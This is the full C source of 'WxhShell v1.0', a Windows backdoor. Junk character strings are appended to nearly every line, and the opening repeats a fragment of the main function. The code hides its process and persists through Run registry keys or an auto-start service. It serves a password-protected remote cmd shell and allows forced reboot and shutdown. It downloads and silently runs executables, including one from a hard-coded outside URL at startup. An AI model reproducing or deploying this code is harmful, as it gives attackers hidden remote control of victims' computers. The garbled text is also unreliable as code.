if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _J[P[(ab
WinExec(wscfg.ws_filenam,SW_HIDE); xkR0
} hR|MEn6KC
>F&47Yn
if(!OsIsNt) { 1aABzB ^
// 如果时win9x，隐藏进程并且设置为注册表启动 wlmRe`R
HideProc(); {]|J5Dgfe
StartWxhshell(lpCmdLine); mj@13$=
} 5/z/>D;
else X[TR3[1}
if(StartFromService()) {1 94!S4z
// 以服务方式启动 0qT%!ku&
StartServiceCtrlDispatcher(DispatchTable); Wo,?+I
else 29q _BR *:
// 普通方式启动 ~F7gP{r
StartWxhshell(lpCmdLine); ^G-@06/!
dC4'{n|7
return 0; Ecx<OTo
} WMP,\=6k0
,6W>can
HUOj0T
B?o7e<l[
=========================================== Xb,3Dvf
BFW&2
+d-NL?c
yR.Ong
76` .Y
,,|^%Ct']
" ei5~&
n?K
#include <stdio.h> z&^&K}
#include <string.h> k-""_WJ~^
#include <windows.h> C"]^Q)aJN
#include <winsock2.h> sUm'
#include <winsvc.h> W+1^4::+
#include <urlmon.h> B,fo(kG
FU<Jp3<%
#pragma comment (lib, "Ws2_32.lib") XBw)H
#pragma comment (lib, "urlmon.lib") S#[j )U-
:p6M=
#define MAX_USER 100 // 最大客户端连接数 %;"y+YFdv
#define BUF_SOCK 200 // sock buffer FNId;
#define KEY_BUFF 255 // 输入 buffer ]jRfH(i
o,3a4nH;
#define REBOOT 0 // 重启 8sK9G` k
#define SHUTDOWN 1 // 关机 PE5G
{cw /!B
#define DEF_PORT 5000 // 监听端口 k.15CA`
#yvGK:F
#define REG_LEN 16 // 注册表键长度 cPc</[x[W
#define SVC_LEN 80 // NT服务名长度 _n\GNUA
5QO9Q]I#_\
// 从dll定义API ~.lPEA %%
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xA[mm
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q.c\/&
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ROZF)|l
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w.-!UD9/.x
*G9V'9
// wxhshell配置信息 k+l b@!
struct WSCFG { 9k[9P;"F:
int ws_port; // 监听端口 XHGFf_kW_N
char ws_passstr[REG_LEN]; // 口令 LB?u8>a' I
int ws_autoins; // 安装标记, 1=yes 0=no %GIr&V4|
char ws_regname[REG_LEN]; // 注册表键名 -;k+GrLr^
char ws_svcname[REG_LEN]; // 服务名 "Os_vlapHo
char ws_svcdisp[SVC_LEN]; // 服务显示名 xFg>SJ7]
char ws_svcdesc[SVC_LEN]; // 服务描述信息 u,Kly<0j
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S?BG_J6A7
int ws_downexe; // 下载执行标记, 1=yes 0=no c-FcEW
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ef13Q]9|
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0S$N05
=zs`#-^8
}; n>U5R_T
2jCfT>`3
// default Wxhshell configuration KdbHyg<4
struct WSCFG wscfg={DEF_PORT, H~z`]5CN
"xuhuanlingzhe", PRE|+=w$
1, VBcPu
"Wxhshell", QUQ'3
"Wxhshell", `,*5wBC
"WxhShell Service", 1D!<'`)AY
"Wrsky Windows CmdShell Service", # c^z&0B}
"Please Input Your Password: ", WvZ8/T'x
1, }|5Pr(I
"http://www.wrsky.com/wxhshell.exe", c_!cv":s
"Wxhshell.exe" 4#hSJ(~7S
}; gt w Q-
)B8$<sv
// 消息定义模块 r^ ZEImjc
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lBGQEP3;
char *msg_ws_prompt="\n\r? for help\n\r#>"; .y:U&Rw4
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mBON$sF|
char *msg_ws_ext="\n\rExit."; b<gr@WF
char *msg_ws_end="\n\rQuit."; >!)DM]Ri
char *msg_ws_boot="\n\rReboot..."; G[q$QB+
char *msg_ws_poff="\n\rShutdown..."; `%WU8Yv
char *msg_ws_down="\n\rSave to "; cD'V>[h
2WYPO"q
char *msg_ws_err="\n\rErr!"; fvxu#m=
char *msg_ws_ok="\n\rOK!"; :tv,]05t
>`ZyG5
char ExeFile[MAX_PATH]; | (_
int nUser = 0; HT1!5
HANDLE handles[MAX_USER]; \=0Vi6!Mc
int OsIsNt; x{WD;$J
"wh ,Ue
SERVICE_STATUS serviceStatus; fPW@{~t
SERVICE_STATUS_HANDLE hServiceStatusHandle; 0v$~90)
K0Fh%Y4)QH
// 函数声明 s.NGA.]$
int Install(void); WaR`Kp+>
int Uninstall(void); #$qTFN
int DownloadFile(char *sURL, SOCKET wsh); \6*I'|5d
int Boot(int flag); hTi$.y!k
void HideProc(void); Ck7uJI<x
int GetOsVer(void); pBA7,z"`mP
int Wxhshell(SOCKET wsl); ~Vjl7G\7i
void TalkWithClient(void *cs); q.`NtsW!\+
int CmdShell(SOCKET sock); k7A-J\
int StartFromService(void); x{/g(r={}
int StartWxhshell(LPSTR lpCmdLine); 5iydZ
zi`o#+
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Czu\RXJR
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8StgsM
_/5H l`
// 数据结构和表定义 Pw!MS5=r
SERVICE_TABLE_ENTRY DispatchTable[] = Otm0(+YB7
{ -Wi` G
{wscfg.ws_svcname, NTServiceMain}, [Nbm|["q~
{NULL, NULL} scLll,~
}; BbS4m
l3F6AlPql
// 自我安装 j^rIH#V
int Install(void) s(q_ o
{ $43qME
char svExeFile[MAX_PATH]; &m:uO^-D
HKEY key; /{--+ C
strcpy(svExeFile,ExeFile); >]5P 3\AQV
W#WVfr
// 如果是win9x系统，修改注册表设为自启动 Sa;qW3dt3E
if(!OsIsNt) { tS8u
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { **gXvTqI
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o"R7,N0rB
RegCloseKey(key); LW_f
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MfQ?W`Kop
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )iK6:s#
RegCloseKey(key); pOG1jI5<{8
return 0; Lrq.Ab#
} m#Z# .j_2
} Is?La
} 9ahWIO%
else { j+v=Ul|l
[!]2djc
// 如果是NT以上系统，安装为系统服务 L"*/:$EJL.
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O~K>4ax
if (schSCManager!=0) gi _5?$
{ ` 3K)GA
SC_HANDLE schService = CreateService EV@X*| w
( V~;1IQd{
schSCManager, u-G+ j)
wscfg.ws_svcname, GKc`xIQ
wscfg.ws_svcdisp, l u%}h7ng
SERVICE_ALL_ACCESS, >{J(>B\
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :mn>0jK,N
SERVICE_AUTO_START, Cg?&wj<
SERVICE_ERROR_NORMAL, d;9FB[MmOJ
svExeFile, ls:w8&`*
NULL, ~d*(=G
NULL, {v;&5!s
NULL, o:P}Wg/NK
NULL, .rqhi
NULL @>>~CZ`l
); +jnJ|h({
if (schService!=0) JKmIvZ)8
{ r{I% \R!@
CloseServiceHandle(schService); {vyv7L
CloseServiceHandle(schSCManager); )6,=f.%
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); } .y 1;.
strcat(svExeFile,wscfg.ws_svcname); .I0qGg
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jk=I^%~
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <oA7'|Bu<
RegCloseKey(key); 2OR{[L*
return 0; 1--C~IjJ+
} A='N=^Pm
} y^v6AM
CloseServiceHandle(schSCManager); 0rG^,(3m
} ?8Z0Gqt74
} .-oxb,/
?FF4zI~
return 1; kw%};;
} "PTZ%7YH}
(~wqa 3
// 自我卸载 X1-'COQS%&
int Uninstall(void) g+>(dnX
{ kN4{13Qs*
HKEY key; 64G[|" j D
k" PayyAC
if(!OsIsNt) { ?3zc=J"t
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \VyZ
RegDeleteValue(key,wscfg.ws_regname); "8^ Ch{G-
RegCloseKey(key); v)t:|Q{I
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OJ5#4qJ[
RegDeleteValue(key,wscfg.ws_regname); <;m<8RjX
RegCloseKey(key); r@t9Ci=}
return 0; _zn.K&I-*k
} *<jAiB,O*
} Q1 $^v0-)
} {NFr]LGOp
else { @ljA
"wnzo,
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h"_;IUZ!
if (schSCManager!=0) yt=3sq
{ :LRYYw
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SVs_dG$
if (schService!=0) 6NM:DI\%
{ !y:vLB#q
if(DeleteService(schService)!=0) { ^2on.N q>
CloseServiceHandle(schService); F9E<K]7K
CloseServiceHandle(schSCManager); n;+LH9
return 0; Hmd] FC,_
} b#toM';T
CloseServiceHandle(schService); X#TQ_T"
} _%!c+f7
CloseServiceHandle(schSCManager); *@v)d[z_
} QWSTR\!
} .C(eh
UT=tT)4b
return 1; F{Jw^\
} nvJf/90$
]?+p5;{y4
// 从指定url下载文件 !K}~/9Z=m
int DownloadFile(char *sURL, SOCKET wsh) JedmaY06=
{ L>9V&\
HRESULT hr; 8WbgSY`
char seps[]= "/"; &d+Kg0:
char *token; 0y;*Cfi9
char *file; )Sg~[WxDv
char myURL[MAX_PATH]; hjB@o#S
char myFILE[MAX_PATH]; dWUm\t'#
~&8^9E a
strcpy(myURL,sURL); 4c$ zKqz
token=strtok(myURL,seps); 4UlyxA~
while(token!=NULL) YoZFwRQU
{ r(aLEJ"u?
file=token; A3no~)wZn
token=strtok(NULL,seps); M/ni6%x
} Jz.NHiLct1
v~V5`%
GetCurrentDirectory(MAX_PATH,myFILE); %Yicg6:
strcat(myFILE, "\\"); CBOi`bEf
strcat(myFILE, file); + SFVv_n
send(wsh,myFILE,strlen(myFILE),0); I)cFG{~L
send(wsh,"...",3,0); Hh-+/sO~"
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %?uc><&?e
if(hr==S_OK) ;WM"cJo9
return 0; {VvqO7A
else cU@SIJ)
return 1; [}/LD3
[t7]{d*
} i2YuOV!
Q}K#'Og
// 系统电源模块 \h DdU+
int Boot(int flag) z4+k7a@jn
{ [16cFqD
HANDLE hToken; T:Hr&ws4
TOKEN_PRIVILEGES tkp; <2|O:G
Q6AC(n@:FV
if(OsIsNt) { 8XzR wYV
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wztA3ZL*W1
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H!nr^l'+
tkp.PrivilegeCount = 1; `m>*d!h=
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :x{NBvUIc
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S\5bmvqP"
if(flag==REBOOT) { B}?5]N==]
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ( Qcp{q
return 0; ~ ! 3I2
} " '6;/N
else { qg!|l7e
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bck7\
return 0; m~Bl*`~M
} }L3oR
} ]Nl=wZ#`
else { f3{MvAy[
if(flag==REBOOT) { :Jy'#c
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C] 9p5Hs
return 0; U{z9>
} *@Y3oh}S
else { 6s\Kt3=
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M^iU;vo
return 0; RIE5KCrGB
} iz?tu: \v&
} /yF QeE
jhu&&==\f
return 1; CkD#/
} ;SaX;!`39+
Y&_&s7z
// win9x进程隐藏模块 NqEA4C
void HideProc(void) ?jt}*q>X]
{ &A)B~"[~
A~+S1
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s]mY*@a%
if ( hKernel != NULL ) Yd=a}T
{ 9^Whg~{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >teOm?@U
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \ZhfgE8{%
FreeLibrary(hKernel); ~r$jza~o(
} $m+sNEAa
UIAj]
return; x-<)\L&
} 9Xl5@%uz?z
&jczO-R^
// 获取操作系统版本 +|@rD/I6
int GetOsVer(void) l)w Hl%p
{ J.dLPKU;-
OSVERSIONINFO winfo; DUe&r,(4O
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E)7F\w
GetVersionEx(&winfo); S:q3QgU=X
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .G(llA}
return 1; f0<%&2ym
else ]oV{t<0a
return 0; QgD g}\P
} nJ"YIT1K]p
]%Nlv(
// 客户端句柄模块 H_Kj7(=&>
int Wxhshell(SOCKET wsl) nF4a-H&Fo
{ .OqSch|
SOCKET wsh; Qb; d:@9
struct sockaddr_in client; xIGfM>uq
DWORD myID; ''^Y>k
"/6:6`J
while(nUser<MAX_USER) =w5O&(
{ U_$qi
int nSize=sizeof(client); @~"anqT`
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hf<^/@^tK
if(wsh==INVALID_SOCKET) return 1; mVsIAC$}8
drd/jH&
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )r z+'|,
if(handles[nUser]==0) *"98L+
closesocket(wsh); >,gvb5
else =rQP[ICs!
nUser++; -}4NT{E
} HCJ>X;(`f?
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f%)zg(YlO
$GQ-(/
return 0; KdUnD4d
} -:9P%jWt
ww{_c]My
// 关闭 socket CWG6;NT6m
void CloseIt(SOCKET wsh) wHv]ViNvXE
{ 3bd5FsI^pU
closesocket(wsh); |R@~-Ht
nUser--; ~h=X8-D
ExitThread(0); je4w=]JV
} tpEI(9>
5P+t^\
// 客户端请求句柄 :@xm-.D
void TalkWithClient(void *cs) IU]^&e9u
{ <uk1?Qg
)wtaKF.-
SOCKET wsh=(SOCKET)cs; ;.Ie#Vr1N
char pwd[SVC_LEN]; -MugnB6
char cmd[KEY_BUFF]; u=NSsTP&
char chr[1]; j9U%7u]-k
int i,j; qXW})(
8dOo Q
while (nUser < MAX_USER) { =GBI0&U
z6~ H:k1G%
if(wscfg.ws_passstr) { XJ+6FT/qss
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %77p5ctW
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @[?!s%*2
//ZeroMemory(pwd,KEY_BUFF); nGf);U#K
i=0; &Q=ZwC7#
while(i<SVC_LEN) { omf Rs
cZ+7.oDu
// 设置超时 yag}fQ(XH
fd_set FdRead; GOB(#vu
struct timeval TimeOut; !epgTN
FD_ZERO(&FdRead); HXVBb%pP
FD_SET(wsh,&FdRead); L]hXpt
TimeOut.tv_sec=8; W*:,m8wk
TimeOut.tv_usec=0; tPyyZ#,
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); desThnTw
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,kp\(X[J
=AEz9d ciS
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eL.7#SIr}
pwd=chr[0]; HFQR ;9]
if(chr[0]==0xd || chr[0]==0xa) { rJ'I>Q~x6
pwd=0; O^I[ (8Y8
break; }2r+%V&4
} 5q<zN
i++; ^Ori| 4}'
} l n}}5Q
DrvtH+e
// 如果是非法用户，关闭 socket m:O(+Fl
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y8bM<e2 U
} {,j6\Cj4
Pe~`16f
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k)FmDX
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kF V7l
6Bm9?eU0
while(1) { 6`"M
SnTDLa
ZeroMemory(cmd,KEY_BUFF); Qc{RaMwD
+f;CyMEp
// 自动支持客户端 telnet标准 kao}(?x%
j=0; +>g`m)?p
while(j<KEY_BUFF) { =KX<_;E
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nxap\Lf
cmd[j]=chr[0]; $ Cjk
if(chr[0]==0xa || chr[0]==0xd) { FkupO [KI
cmd[j]=0; AdoZs8Q
break; w,jcm;
} D~&Mwsi
j++; iY/KSX^~O
} o8FXqTUcs4
k6?cP0I)5
// 下载文件 <<|H=![
if(strstr(cmd,"http://")) { qq0?e0H
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y&r]lD
if(DownloadFile(cmd,wsh)) h#Ce_,o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lZt(&^T
else 3|@t%K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {-63/z
} TQ1WVq }*
else { H.O(*Q=
[H"#7t.V-~
switch(cmd[0]) { )Z@-DA*Q-
g>7Y~_}
// 帮助 {lzG*4?
case '?': { _NdLcpBT?
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OalP1Gy
break; 2+92Q_+
} D\T!4q'Q
// 安装 bn 4 &O
case 'i': { 8]0:1 {@
if(Install()) qGPb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %bX0 mN
else MdhT!?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R/<=mZ
break; $)e:8jS=
} td(M#a-
// 卸载 VKLU0*2R
case 'r': { VZA3IbK}
if(Uninstall()) BSp$F WvT?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q)Dwq?
else +~|AT+|iI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n*qN29sx
break; abY0)t
} cvAtwQ'
// 显示 wxhshell 所在路径 }w!ps{*
case 'p': { ":d*dl
char svExeFile[MAX_PATH]; j/<??v4F4
strcpy(svExeFile,"\n\r"); uJ'9R`E ]1
strcat(svExeFile,ExeFile); A1,4kqmE
send(wsh,svExeFile,strlen(svExeFile),0); B$`lYDqaG
break; fEu9Jk
} +>3]%i-\
// 重启 It 2UfW
case 'b': { qZG-Lh
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,p,Du F
if(Boot(REBOOT)) U=o Z.\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a0zG(7.D
else { NR/-m7#-
closesocket(wsh); Xn7[n
ExitThread(0); +6%7CC6
} l6B.6 '4)w
break; T~Yg5J
} Cals?u#U=
// 关机 B {i&~k
case 'd': { Tj,Nmb>Q7'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g+Ph6W
if(Boot(SHUTDOWN)) 6dT|;koWbm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2_olT_#
else { :2q ?>\
closesocket(wsh); [w%#<5h
ExitThread(0); W:ixzpQ
} pa] TeH
break; -v*x V;[
} \FI^Vk
// 获取shell ^~I @ spR4
case 's': { c=t*I0-OVS
CmdShell(wsh); 8D~Dd!~P
closesocket(wsh); &y3B)#dIJ
ExitThread(0); $o+&Y5:
break; ~&[u]u[
} px&=((Z7>
// 退出 H*qD: N
case 'x': { gO{W#%
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "X?LAo
CloseIt(wsh); Pw#2<>
break; M-91 JOt~
} ~M[>m~8
// 离开 ],V kp
case 'q': { ag/u8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); OX,F09.C
closesocket(wsh); &@'V\5G
WSACleanup(); v=+k"gm6
exit(1); )K.R\]XR
break; CI1m5g [P
} S^g]:Xh&
} Fr/QW7B5
} 2TCRS#z
5fxbA2\
// 提示信息 $WD +Q@6
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?hSha)1:
} @5*xw1B
} w2<*$~C]
4O Zy&,
return; &x/k^p=
} Cs;<'[_?YO
NQ3|\<Wt
// shell模块句柄 i~AJ.@ #
int CmdShell(SOCKET sock) w\v&3T
{ I_L;T
STARTUPINFO si; 'qlxAYw<f
ZeroMemory(&si,sizeof(si)); j)<[j&OWw
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1(F'~i|5
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iDvpXn
PROCESS_INFORMATION ProcessInfo; h&'J+b
char cmdline[]="cmd"; |=OpzCs
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @>9A$w$H|a
return 0; v*gLNB,ZH
} H.;yLL=
c( 8W8R
// 自身启动模式 cl#OvQ
int StartFromService(void) jM[f[
{ qSCTFJ0
typedef struct K/A ? ]y
{ !%)L&W_
DWORD ExitStatus; ]LY^9eK)>{
DWORD PebBaseAddress; V'$oTZ`
DWORD AffinityMask; m4\g o
DWORD BasePriority; oYGUjI
ULONG UniqueProcessId; ;C6O3@Q
ULONG InheritedFromUniqueProcessId; IM2/(N.%
} PROCESS_BASIC_INFORMATION; t"#lnG!G
Fj48quW1\P
PROCNTQSIP NtQueryInformationProcess; |<7i|J
>T$7{ ~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3# :EK M~!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <X9T-b"$h
dR%q1Y&`
HANDLE hProcess; G:){^Z?
PROCESS_BASIC_INFORMATION pbi; w-8)YJ Y
-{r!M(47
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f>b!-|
if(NULL == hInst ) return 0; Ny[s+2?
(#lm#?<)
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fLc!Sn.Y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8:BQHYeJK
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oO}>i0ax*
X$ejy/+.
if (!NtQueryInformationProcess) return 0; s:G[Em1
gx&\Kw6HM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N_*u5mfQX
if(!hProcess) return 0; TosPk(o(
la1D2 lM
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MH2OqiCI
<m:4g ,6
CloseHandle(hProcess); >J?jr&i
sL;z"N@PK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SIJ# ?0,
if(hProcess==NULL) return 0; V&$ J;
t PAt?
HMODULE hMod; G<Th<JF)Q
char procName[255]; k^~@9F5k
unsigned long cbNeeded; gA|!$EAM
~&vA_/M
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s-Q7uohK
cG<Q`(5~
CloseHandle(hProcess); H{&a)!Ms
m.|qVN
if(strstr(procName,"services")) return 1; // 以服务启动 +YkmLD
v_[)FN"]Y.
return 0; // 注册表启动 F?!};~$=Z
} fB@K'JQG
_?*rtDzIM
// 主模块 3/yt*cr
int StartWxhshell(LPSTR lpCmdLine) -DbH6u3
{ GC,vQ\
SOCKET wsl; V_7Y1GD
BOOL val=TRUE; zLE>kK
int port=0; AD0ptHUBa
struct sockaddr_in door; 1 yxZ
X=-gAutfE=
if(wscfg.ws_autoins) Install(); ^M[-K`c}
Y8{T.\%\+
port=atoi(lpCmdLine); >}xAg7\^
w50.gr7
if(port<=0) port=wscfg.ws_port; OYQXi
?*(r1grHl
WSADATA data; ptnMCF
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sj?`7kg
A8CIP:Z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; V!jK3vc
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _3-RoA'UZr
door.sin_family = AF_INET; 5(mCBH
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .`i'gPLkn2
door.sin_port = htons(port); 7<Z~\3x
g]oc(RM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $X{B* WF
closesocket(wsl); nph7&[xQI
return 1; :e5:\|5*5
} z_)OWWdN
H-nFsJ(R!c
if(listen(wsl,2) == INVALID_SOCKET) { ^!-E`<jW8
closesocket(wsl); 7TMDZ*
return 1; UeutFNp
} e3oYy#QNk
Wxhshell(wsl); G!> iqG
WSACleanup(); /\oyPD`((
,E n(gm
return 0; ZQgxrZx3
tk]_QX %
} GgZEg ?@
>b/k|?xP
// 以NT服务方式启动 `2Z4#$.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uM}dZp 1
{ oX=*MEfX
DWORD status = 0; v#T?YK
DWORD specificError = 0xfffffff; c1Fru
mfp`Iy"}+
serviceStatus.dwServiceType = SERVICE_WIN32; ~{3o(gzl
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Wfi:wCqZG
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2<\yky
serviceStatus.dwWin32ExitCode = 0; Ah8^^h|TPJ
serviceStatus.dwServiceSpecificExitCode = 0; 0k.#
serviceStatus.dwCheckPoint = 0; 7>c 0V&
serviceStatus.dwWaitHint = 0; tq4"QBIKh
w<8O=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -E,{r[Sp
if (hServiceStatusHandle==0) return; 0&SrKn
r7wx?{~ 28
status = GetLastError(); wXIe5
if (status!=NO_ERROR) 2s]]!{Z#
{ f0HV*%8
serviceStatus.dwCurrentState = SERVICE_STOPPED; m;$F@JJ
serviceStatus.dwCheckPoint = 0; k=d%.kg
serviceStatus.dwWaitHint = 0; 6@ (k8<3
serviceStatus.dwWin32ExitCode = status; nEZ-h7lzl(
serviceStatus.dwServiceSpecificExitCode = specificError; q:D0$YY0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o q'J*6r
return; 5Qm.ECXV
} y:^>(l#;
w;h\Y+Myyk
serviceStatus.dwCurrentState = SERVICE_RUNNING; p8}5x 2F
serviceStatus.dwCheckPoint = 0; f;_K}23
serviceStatus.dwWaitHint = 0; 1,*Z_ F=y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1Q2k>q8
} ??esB&4?
y[ rB"
// 处理NT服务事件，比如：启动、停止 X<@y*?D9D
VOID WINAPI NTServiceHandler(DWORD fdwControl) cr=FMfhB
{ )sz2 9
switch(fdwControl) 66Cj=n5
{ L3hxe]mr
case SERVICE_CONTROL_STOP: =^%Pwkz
serviceStatus.dwWin32ExitCode = 0; hjm.Ath
serviceStatus.dwCurrentState = SERVICE_STOPPED; (Db*.kd8,
serviceStatus.dwCheckPoint = 0; VUg~[
serviceStatus.dwWaitHint = 0; d9Ow 2KrC
{ qkR,<"C|`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y>pq*i
} FclSuQWti
return; yg]nS<K~4
case SERVICE_CONTROL_PAUSE: [gg7Z|Hu
serviceStatus.dwCurrentState = SERVICE_PAUSED; 51FK~5
break; -+S~1`0
case SERVICE_CONTROL_CONTINUE: j8ohzX[Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ws}kb@5
break; q[,R%6&'
case SERVICE_CONTROL_INTERROGATE: f4\p1MYQ
break; *M\i4FO8
}; 88+\mX;A#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4-?`#
} ;^H+ |&$>
a?Qcf;o
// 标准应用程序主函数 O]4 x;`)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :R_#'i
{ +ouy]b0`t
~"4vd 3
// 获取操作系统版本 z6>ZV6(d2^
OsIsNt=GetOsVer(); #t9=qR~"
GetModuleFileName(NULL,ExeFile,MAX_PATH); rc{[\1 -N
l4BO@
// 从命令行安装 5fDtSsW
if(strpbrk(lpCmdLine,"iI")) Install(); 5l7L@Ey
LZAj4|~,m
// 下载执行文件 vM>`CZ
if(wscfg.ws_downexe) { ~D-OL*2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /IQ-|Qkg
WinExec(wscfg.ws_filenam,SW_HIDE); `b'|FKc]
} F~0%j}ve
N~K)0RETn
